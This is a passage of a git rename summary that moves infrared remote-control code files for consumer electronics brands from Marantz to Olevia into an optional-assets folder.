optional-assets}/_CSV-IRDB_/Marantz/VCR/5,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Marantz/Video Projector/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Marantz/Video Projector/13,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Marantz/iPod Dock/14,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Marantz/iPod Dock/16,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Mark Levinson/CD Player/1,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Mark Levinson/CD Player/16,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Mark Levinson/CD Player/2,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Mark Levinson/CD Player/3,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Mark Levinson/Pre-Amplifier/4,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Mark Levinson/Pre-Amplifier/7,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Mark/Unknown_rc5/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Mas/Unknown_HSD-303/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Mas/Unknown_HSD-400/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Mas/Unknown_RC-0135/6,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Maxx/Plasma/32,64.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Maxx/Plasma/96,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/McIntosh/CD Player/202,149.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/McIntosh/Control System/202,85.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/McIntosh/DVD Player/128,80.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/McIntosh/Laser Disc/168,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/McIntosh/Pre-Amplifier/202,85.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/McIntosh/Receiver/202,85.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Medion/Unknown_JX-2006B/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Medion/Unknown_MD-5410/5,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Medion/Unknown_MD81035/23,105.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Medion/Unknown_MD81880/23,105.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Medion/Unknown_medion/128,123.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Medion/Unknown_rc2000/5,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Melectronic/Unknown_PP3600/2,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Meliconi/Unknown_Facile/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Meliconi/Unknown_MELICONI-U3/10,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Meliconi/Unknown_MeliconiSpeedy2/5,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Meliconi/Unknown_Speedy/7,7.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Memorex/DVD Player/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Memorex/TV/4,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Meridian/800 System Remote/19,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Meridian/CD Player/19,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Meridian/CD-R/19,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Meridian/DVD Player/19,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Meridian/DVD Player/69,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Meridian/DVD/19,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Meridian/Pre-Amplifier/19,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Meridian/Pre-Amplifier/26,73.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Meridian/Processor/19,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Meridian/Remote Control/19,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Meridian/Surround Processor/19,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Meridian/System Remote/19,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Metronome/CD Player/20,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Metrox/Humidifier/128,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Micromega/DVD Player/4,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Microsoft/DVD Player/5,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Microsoft/Game Console/116,15.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Microsoft/Game Console/4,15.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Microsoft/Game Console/5,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Microsoft/Home Media PC/4,15.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Microsoft/Unknown_MCE/5,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Microsoft/Unknown_Xbox360/116,15.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Microsoft/Unknown_xbox/10,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Microsoft/Windows Media Center/4,15.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Midiland/Digital Decoder/81,175.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Mintek/DVD Player/0,153.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Mitochiba/Unknown_JX-9902/134,107.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Mitochiba/Unknown_KF220100/134,107.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Mitsubishi/CD Player/119,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Mitsubishi/Cable Box/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Mitsubishi/Cassette Tape/119,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Mitsubishi/Cassette Tape/138,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Mitsubishi/Cassette Tape/141,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Mitsubishi/DSS/12,251.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Mitsubishi/DSS/64,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Mitsubishi/DSS/71,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Mitsubishi/DVD Player/103,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Mitsubishi/DVD Player/71,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Mitsubishi/DVD Player/87,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Mitsubishi/DVD/103,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Mitsubishi/HDTV Receiver/12,251.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Mitsubishi/HDTV Receiver/71,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Mitsubishi/Laser Disc/168,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Mitsubishi/Laser Disc/175,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Mitsubishi/Monitor/1,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Mitsubishi/Monitor/119,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Mitsubishi/Monitor/130,100.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Mitsubishi/Monitor/2,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Mitsubishi/Monitor/4,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Mitsubishi/Monitor/71,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Mitsubishi/Monitor/87,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Mitsubishi/Receiver/119,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Mitsubishi/Receiver/168,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Mitsubishi/Receiver/71,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Mitsubishi/Receiver/87,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Mitsubishi/Satellite/12,251.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Mitsubishi/TV/1,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Mitsubishi/TV/119,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Mitsubishi/TV/71,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Mitsubishi/TV/87,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Mitsubishi/Unknown/119,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Mitsubishi/Unknown/71,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Mitsubishi/Unknown/87,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Mitsubishi/Unknown_75501/87,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Mitsubishi/Unknown_HD1000/240,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Mitsubishi/Unknown_HS-349/87,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Mitsubishi/Unknown_mitsubishi/71,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Mitsubishi/Unknown_tv/71,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Mitsubishi/VCR/119,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Mitsubishi/VCR/23,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Mitsubishi/VCR/3,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Mitsubishi/VCR/7,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Mitsubishi/VCR/71,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Mitsubishi/VCR/87,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Mitsubishi/Video Projector/71,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Monoprice/Unknown_HDX(C)-501E/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Morgans Daytona/Unknown_T15/128,38.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Morgans Daytona/Unknown_Tornado/202,165.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Motorola/Cable Box/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Motorola/Cable Box/1,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Motorola/Cable Box/15,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Motorola/Cable Box/170,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Motorola/Cable Box/18,0.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Motorola/Cable Box/3,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Motorola/Cable Box/4,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Motorola/Cable Box/5,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Motorola/Cable Box/5,1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Motorola/Cable Box/64,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Motorola/Cable Box/68,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Motorola/Cable Box/9,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Motorola/Cox/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Motorola/Cox/64,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Motorola/DSS/1,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Motorola/DVR/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Motorola/IP box/16,0.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Motorola/Remote/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Motorola/Remote/3,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Motorola/Unknown_4dtv/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Motorola/Unknown_Cable/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Motorola/Unknown_DCH3416/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Motorola/Unknown_DCT2000/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Motorola/Unknown_DCT2244/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Motorola/Unknown_DCT2524/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Motorola/Unknown_DRC800/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Motorola/Unknown_DTH320-4/134,47.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Motorola/Unknown_DTH355/134,47.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Motorola/Unknown_DVi2030/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Motorola/Unknown_MOTOROLA/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Motorola/Unknown_QIP2500/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Motorola/Unknown_RC1445302-00B-REV2/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Motorola/Unknown_VIP/35,64.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Multi Canal/Unknown_Canal/133,123.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Multichoice/Unknown_DSD910/24,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Mustek/Unknown_DVD/16,237.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Mustek/Unknown_MustekDVD/16,237.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Mustek/Unknown_RMC-V300/16,237.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Mvision/Unknown_FCIS7000E+/64,64.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Myryad/Pre-Amplifier/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Myryad/Pre-Amplifier/16,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Myryad/Pre-Amplifier/17,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Myryad/Pre-Amplifier/18,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Myryad/Pre-Amplifier/20,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Myryad/Pre-Amplifier/21,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Myryad/Pre-Amplifier/23,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Myryad/Receiver/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Myryad/Receiver/16,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Myryad/Receiver/17,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Myryad/Receiver/18,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Myryad/Receiver/20,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Myryad/Receiver/21,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Myryad/Receiver/23,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/NAD/Amplifier/135,124.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/NAD/CD Player/133,111.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/NAD/CD Player/135,124.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/NAD/CD Player/42,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/NAD/Cassette Tape/135,124.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/NAD/Monitor/64,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/NAD/Receiver/135,124.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/NAD/Surround Processor/135,124.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/NAD/Surround Processor/93,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/NAD/Tuner/135,124.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/NAD/Unknown/135,124.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/NAD/Unknown_451/135,124.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/NAD/Unknown_NAD/17,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/NAD/Unknown_RC512/135,124.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/NAD/Unknown_SR6/135,124.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/NAD/Unknown_SR712/135,124.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/NEC/Monitor/25,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/NEC/Monitor/4,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/NEC/Receiver/25,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/NEC/Receiver/26,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/NEC/Receiver/26,197.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/NEC/Receiver/26,225.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/NEC/Receiver/26,228.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/NEC/Receiver/26,231.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/NEC/Receiver/4,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/NEC/Surround Processor/13,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/NEC/Surround Processor/26,228.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/NEC/TV/24,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/NEC/TV/24,24.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/NEC/TV/4,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/NEC/Unknown/25,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/NEC/Unknown/25,231.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/NEC/Unknown_RB-34P/25,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/NEC/Unknown_RB-73A/25,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/NEC/Unknown_RB-D3A/25,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/NEC/Unknown_RB-DV22/45,45.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/NEC/Unknown_RC-1065E/24,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/NEC/Unknown_RC-1083E/24,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/NEC/Unknown_RC-334E/24,233.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/NEC/Unknown_RC-6010/24,247.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/NEC/Unknown_RD-1077E/24,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/NEC/Unknown_RD-1078E/24,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/NEC/Unknown_RD-1083E/24,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/NEC/Unknown_RD-337E/2,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/NEC/Unknown_RD-343E/24,233.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/NEC/Unknown_RD-348E/24,233.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/NEC/Unknown_RD-409E/24,233.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/NEC/Unknown_RD-427E/24,233.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/NEC/Unknown_RU-1220S/24,247.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/NEC/Unknown_TRB-60/49,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/NEC/Unknown_TRB-968A/25,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/NEC/Unknown_UR-3020/24,247.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/NEC/VCR/10,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/NEC/VCR/25,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/NEC/VCR/4,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/NEC/Video Projector/24,233.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/NEC/Video Projector/24,247.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/NET TV/TV/2,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/NTL/Unknown_DI4001N/10,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/NVIDIA/Unknown_Personal/128,126.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Nagra/Unknown_TVA/8,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Nakamichi/Amplifier/87,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Nakamichi/CD Player/103,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Nakamichi/CD Player/92,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Nakamichi/DVD Player/92,162.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Nakamichi/Receiver/103,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Nakamichi/Receiver/130,93.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Nakamichi/Receiver/186,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Nakamichi/Receiver/92,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Nakamichi/Receiver/92,161.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Nakamichi/Tuner/103,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Nakamichi/Tuner/92,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Nakamichi/Unknown_lirc.config/103,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Napa/Unknown_DAV-309/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Nebula Electronics/Unknown_DVB/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Netgem/Unknown_iPlayer/131,51.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Nextwave/Unknown_EX300/4,16.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Nikko/Unknown_Nikko/5,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Niles Audio/Unknown/128,93.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Niles Audio/Unknown/132,18.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/No Brand/Unknown_YK-001/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Nokia/Satellite/24,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Nokia/Satellite/6,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Nokia/Unknown_624/74,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Nokia/Unknown_MM9780S/14,0.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Nokia/Unknown_Nokia/14,0.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Nokia/Unknown_NokiaVC620/3,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Nokia/Unknown_RCN610/74,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Nokia/Unknown_VCN620/3,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Nokia/Unknown_VCR/137,119.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Norcent/Unknown_DP/0,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/NorthQ/Unknown_6400/8,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Novaplex/Cable Box/27,-1.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Now Broadband TV/Unknown_Broadband/128,110.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Now Broadband TV/Unknown_Broadband/64,64.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/OSRAM/Unknown_OSRAM/1,0.ir (100%) rename assets/resources/infrared/{ => optional-assets}/_CSV-IRDB_/Olevia/Unknown_RC-LTFN/4,-1.ir (100%) rename assets/resources/infrared/{ => 